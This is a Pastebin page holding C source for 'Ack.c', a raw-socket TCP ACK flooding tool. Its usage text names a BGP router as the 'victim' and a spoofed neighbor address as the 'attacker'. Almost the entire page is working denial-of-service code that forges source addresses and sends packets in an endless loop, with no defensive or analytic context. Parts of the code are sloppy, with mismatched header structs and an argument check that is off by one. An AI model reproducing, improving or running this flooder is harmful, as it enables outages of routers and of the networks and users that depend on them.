Advertisement
Infecteur

New Version Ack.c

Feb 4th, 2012
503
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.01 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <strings.h>
  5. #include <sys/time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8.  
  9. #ifndef __USE_BSD
  10. #define __USE_BSD
  11.  
  12. #endif
  13.  
  14. #ifndef __FAVOR_BSD
  15.  
  16. #define __FAVOR_BSD
  17.  
  18. #endif
  19.  
  20. #include <netinet/in_systm.h>
  21. #include <netinet/in.h>
  22. #include <netinet/ip.h>
  23. #include <netinet/tcp.h>
  24. #include <arpa/inet.h>
  25. #include <netdb.h>
  26.  
  27. #ifdef LINUX
  28. #define FIX(x)  htons(x)
  29.  
  30. #else
  31.  
  32. #define FIX(x)  (x)
  33. #endif
  34.  
  35. struct ip_hdr {
  36.     u_int       ip_hl:4,                
  37.                 ip_v:4;                
  38.     u_char      ip_tos;                
  39.     u_short     ip_len;                
  40.     u_short     ip_id;                  
  41.     u_short     ip_off;                
  42.     u_char      ip_ttl;                
  43.     u_char      ip_p;                  
  44.     u_short     ip_sum;                
  45.     u_long      saddr, daddr;          
  46. };
  47.  
  48. struct tcp_hdr {
  49.     u_short     th_sport;              
  50.     u_short     th_dport;              
  51.     u_long      th_seq;                
  52.     u_long      th_syn;
  53.     u_int       th_x2:4,
  54.                 th_off:4;
  55.     u_char      th_flags;              
  56.     u_short     th_win;                
  57.     u_short     th_sum;                
  58.     u_short     th_urp;                
  59. };
  60.  
  61. struct tcpopt_hdr {
  62.     u_char  type;                      
  63.     u_char  len;                        
  64.     u_short value;                      
  65. };
  66.  
  67. struct pseudo_hdr {                    
  68.     u_long saddr, daddr;                
  69.     u_char mbz, ptcl;                  
  70.     u_short tcpl;                      
  71. };
  72.  
  73. struct packet {
  74.     struct ip/*_hdr*/ ip;
  75.     struct tcphdr tcp;
  76. };
  77.  
  78. struct cksum {
  79.     struct pseudo_hdr pseudo;
  80.     struct tcphdr tcp;
  81. };
  82.  
  83. struct packet packet;
  84. struct cksum cksum;
  85. struct sockaddr_in s_in;
  86. u_short bgport, bgsize, pps;
  87. u_long radd;
  88. u_long sradd;
  89. int sock;
  90.  
  91. void usage(char *progname)
  92. {
  93.     fprintf(stderr, "Usage: %s <radd> <sradd> <bgsize> <number>\n", progname);
  94.     fprintf(stderr, "Ports are set to send and receive on port 179\n");
  95.     fprintf(stderr, "radd:\tAddress of router running BGP [victim]\n");
  96.     fprintf(stderr, "sradd:\tSource address of neighbor router running BGP [attacker]\n");
  97.  
  98.  
  99.     fprintf(stderr, "bgsize:\tSize of packet which should be no larger than 1024 should allow for xtra header info thru routes\n");
  100.     fprintf(stderr, "num:\tpulverizations per second\n\n");
  101.     exit(1);
  102. }
  103.  
  104. inline u_short in_cksum(u_short *addr, int len)
  105. {
  106.     register int nleft = len;
  107.     register u_short *w = addr;
  108.     register int sum = 0;
  109.     u_short answer = 0;
  110.      while (nleft > 1)  {
  111.          sum += *w++;
  112.          nleft -= 2;
  113.      }
  114.      if (nleft == 1) {
  115.          *(u_char *)(&answer) = *(u_char *) w;
  116.          sum += answer;
  117.      }
  118.      sum = (sum >> 16) + (sum & 0xffff);
  119.      sum += (sum >> 16);              
  120.      answer = ~sum;                  
  121.      return(answer);
  122. }
  123.  
  124. u_long lookup(char *hostname)
  125. {
  126.     struct hostent *hp;
  127.  
  128.     if ((hp = gethostbyname(hostname)) == NULL) {
  129.        fprintf(stderr, "Crached!\n", hostname);
  130.        exit(1);
  131.     }
  132.  
  133.     return *(u_long *)hp->h_addr;
  134. }
  135.  
  136.  
  137. void flooder(void)
  138. {
  139.     struct timespec ts;
  140.     int i;
  141.  
  142.  
  143.     memset(&packet, 0, sizeof(packet));
  144.  
  145.     ts.tv_sec                   = 0;
  146.     ts.tv_nsec                  = 10;
  147.  
  148.     packet.ip.ip_hl             = 5;
  149.     packet.ip.ip_v              = 4;
  150.     packet.ip.ip_p              = IPPROTO_TCP;
  151.     packet.ip.ip_tos            = 0x01;
  152.     packet.ip.ip_id             = radd;
  153.     packet.ip.ip_len            = FIX(sizeof(packet));
  154.     packet.ip.ip_off            = 0;
  155.     packet.ip.ip_ttl            = rand();
  156.     packet.ip.ip_dst.s_addr     = radd;
  157.  
  158.     packet.tcp.th_flags         = 0;
  159.     packet.tcp.th_win           = htons(65535);
  160.     packet.tcp.th_seq           = random();
  161.     packet.tcp.th_ack           = 0;
  162.     packet.tcp.th_off           = 0;
  163.     packet.tcp.th_urp           = 0;
  164.     packet.tcp.th_dport         = random();
  165.     cksum.pseudo.daddr          = sradd;
  166.     cksum.pseudo.mbz            = 0;
  167.     cksum.pseudo.ptcl           = IPPROTO_TCP;
  168.     cksum.pseudo.tcpl           = htons(sizeof(struct tcphdr));
  169.  
  170.     s_in.sin_family             = AF_INET;
  171.     s_in.sin_addr.s_addr        = sradd;
  172.     s_in.sin_port               = packet.tcp.th_dport;
  173.  
  174.     for(i=0;;++i) {
  175.     if( !(i&0x3FF) ) {
  176.         packet.tcp.th_sport = random();
  177.         cksum.pseudo.saddr = packet.ip.ip_src.s_addr = sradd;
  178.         packet.tcp.th_flags = TH_ACK;
  179.         packet.tcp.th_ack   = 31337;
  180.  
  181.     }
  182.     else {
  183.         packet.tcp.th_flags = TH_ACK;
  184.         packet.tcp.th_ack = rand();
  185.     }
  186.        ++packet.ip.ip_id;
  187.        /*++packet.tcp.th_sport*/;
  188.        ++packet.tcp.th_seq;
  189.  
  190.        if (!bgport)
  191.           s_in.sin_port = packet.tcp.th_dport = rand();
  192.  
  193.        packet.ip.ip_sum         = 0;
  194.        packet.tcp.th_sum        = 0;
  195.  
  196.        cksum.tcp                = packet.tcp;
  197.  
  198.        packet.ip.ip_sum         = in_cksum((void *)&packet.ip, 20);
  199.        packet.tcp.th_sum        = in_cksum((void *)&cksum, sizeof(cksum));
  200.  
  201.        if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0);
  202.  
  203.     }
  204. }
  205.  
  206. int main(int argc, char *argv[])
  207. {
  208.     int on = 1;
  209.  
  210.     printf("Ack.c -  by infecteur Join Camfrog Video Chat & DNeTC (Im)  \n\n");
  211.  
  212.     if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  213.        perror("socket");
  214.        exit(1);
  215.     }
  216.  
  217.     setgid(getgid()); setuid(getuid());
  218.  
  219.     if (argc < 4)
  220.        usage(argv[0]);
  221.  
  222.     if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
  223.  
  224. {
  225.        perror("setsockopt");
  226.        exit(1);
  227.  
  228.     }
  229.  
  230.     srand((time(NULL) ^ getpid()) + getppid());
  231.  
  232.     printf("\nFinding Router\n"); fflush(stdout);
  233.  
  234.     radd        = lookup(argv[1]);
  235.     bgport      = atoi(argv[3]);
  236.     bgsize      = atoi(argv[4]);
  237.     sradd   = lookup(argv[2]);
  238.     printf("^_^ Lets Go <FucK all> ^_^\n");
  239.  
  240.     flooder();
  241.  
  242.     return 0;
  243. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement